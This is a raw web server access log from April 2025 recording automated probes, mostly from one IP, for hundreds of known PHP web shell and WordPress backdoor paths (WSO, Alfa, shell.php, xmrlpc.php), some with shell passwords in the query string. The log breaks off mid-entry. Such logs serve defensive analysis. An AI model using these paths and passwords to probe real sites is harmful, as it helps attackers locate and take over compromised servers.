162.0.232.217 - - [15/Apr/2025:07:08:56 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:08:58 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:08:59 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:09:01 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:09:02 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:09:04 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:09:05 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:09:08 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:07:09:10 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 186.65.114.244 - - [15/Apr/2025:07:14:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 18.223.108.59 - - [15/Apr/2025:08:16:39 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 18.223.108.59 - - [15/Apr/2025:08:16:39 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 18.223.108.59 - - [15/Apr/2025:08:16:40 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 43.166.255.122 - - [15/Apr/2025:08:32:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.149.163 - - [15/Apr/2025:08:36:34 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:36:38 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:36:39 -0400] "GET /.tmb/mariju.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:36:42 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:36:44 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:36:47 -0400] "GET /.well-known//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:36:50 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:36:55 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:36:58 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:01 -0400] "GET /.well-known/acme-challenge//.info.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:05 -0400] "GET /.well-known/acme-challenge//muse.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:09 -0400] "GET /.well-known/acme-challenge//wp-protector.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:12 -0400] "GET /.well-known/acme-challenge/Llj.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:14 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:16 -0400] "GET /.well-known/acme-challenge/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:18 -0400] "GET /.well-known/acme-challenge/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:21 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:22 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:24 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:26 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:27 -0400] "GET /.well-known/acme-challenge/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:30 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:33 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:35 -0400] "GET /.well-known/acme-challenge/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:39 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:43 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:45 -0400] "GET /.well-known/acme-challenge/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:50 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:54 -0400] "GET /.well-known/acme-challenge/xp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:37:56 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:01 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:07 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:09 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:13 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:16 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:21 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:24 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:26 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:29 -0400] "GET /.well-known/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:33 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:35 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:39 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:43 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:45 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:48 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:50 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:52 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:55 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:38:58 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:00 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:01 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:03 -0400] "GET /.well-known/pki-validation/dropdown.php?pass=yanz HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:05 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:07 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:09 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:11 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:13 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:14 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:17 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:19 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:20 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:23 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:26 -0400] "GET /.well-known/s.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:29 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:30 -0400] "GET /.well-known/ws.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:32 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:33 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:39 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:44 -0400] "GET //.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:47 -0400] "GET //.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:49 -0400] "GET //.well-known/acme-challenge/my1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:54 -0400] "GET //.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:39:57 -0400] "GET //.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:01 -0400] "GET //.well-known/pki-validation/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:06 -0400] "GET //1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:11 -0400] "GET //404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:15 -0400] "GET //a.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:21 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:25 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:28 -0400] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:30 -0400] "GET //alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:33 -0400] "GET //alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:36 -0400] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:37 -0400] "GET //bp.php?taf HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:40 -0400] "GET //cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:42 -0400] "GET //cgi-bin/my1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:44 -0400] "GET //cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:49 -0400] "GET //chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:52 -0400] "GET //chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:54 -0400] "GET //cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:40:57 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:01 -0400] "GET //cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:03 -0400] "GET //content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:07 -0400] "GET //content.php?pass=dadsec HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:10 -0400] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:11 -0400] "GET //ee.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:13 -0400] "GET //en/tinyfilemanager.html HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:15 -0400] "GET //file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:16 -0400] "GET //file2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:19 -0400] "GET //fm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:21 -0400] "GET //gebase.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:24 -0400] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:27 -0400] "GET //info.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:30 -0400] "GET //item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:34 -0400] "GET //jp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:37 -0400] "GET //k.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:38 -0400] "GET //mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:40 -0400] "GET //mini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:41 -0400] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:43 -0400] "GET //radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:44 -0400] "GET //repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:45 -0400] "GET //root.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:47 -0400] "GET //santiago-oriente56.degustamenu.com/wp-includes/hlVYmeOAvcd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:48 -0400] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:49 -0400] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:51 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:53 -0400] "GET //test.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:54 -0400] "GET //user.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:56 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:58 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:41:59 -0400] "GET //wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:02 -0400] "GET //wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:04 -0400] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:07 -0400] "GET //wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:09 -0400] "GET //wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:11 -0400] "GET //wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:13 -0400] "GET //wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:15 -0400] "GET //wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:18 -0400] "GET //wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:20 -0400] "GET //wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:23 -0400] "GET //wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:25 -0400] "GET //wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:28 -0400] "GET //wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:33 -0400] "GET //wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:36 -0400] "GET //wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:39 -0400] "GET //wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:41 -0400] "GET //wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:46 -0400] "GET //wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:51 -0400] "GET //wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:55 -0400] "GET //wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:42:59 -0400] "GET //wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:02 -0400] "GET //wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:04 -0400] "GET //wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:06 -0400] "GET //wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:07 -0400] "GET //wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:09 -0400] "GET //wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:11 -0400] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:12 -0400] "GET //wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:15 -0400] "GET //wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:17 -0400] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:20 -0400] "GET //wp-content/index.php?pass=cfwk HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:23 -0400] "GET //wp-content/index.php?pass=xleet HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:26 -0400] "GET //wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:27 -0400] "GET //wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:29 -0400] "GET //wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:30 -0400] "GET //wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:33 -0400] "GET //wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:35 -0400] "GET //wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:37 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:39 -0400] "GET //wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:41 -0400] "GET //wp-content/themes/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:44 -0400] "GET //wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:47 -0400] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:51 -0400] "GET //wp-content/themes/twentyseventeen/page/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:55 -0400] "GET //wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:57 -0400] "GET //wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:43:58 -0400] "GET //wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:00 -0400] "GET //wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:01 -0400] "GET //wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:04 -0400] "GET //wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:06 -0400] "GET //wp-includes/blocks/table/them/tmpl/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:08 -0400] "GET //wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:10 -0400] "GET //wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:11 -0400] "GET //wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:12 -0400] "GET //wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:13 -0400] "GET //wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:14 -0400] "GET //wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:15 -0400] "GET //wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:16 -0400] "GET //wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:17 -0400] "GET //ws.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:18 -0400] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:19 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:19 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:21 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:21 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:22 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:23 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:24 -0400] "GET /1.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:24 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:26 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:27 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:28 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:29 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:29 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:30 -0400] "GET /1xm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:31 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:32 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:33 -0400] "GET /22.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:33 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:34 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:35 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:37 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:39 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:40 -0400] "GET /4Oj8Ed6N1tu.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:42 -0400] "GET /4Q.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:43 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:44 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:45 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:46 -0400] 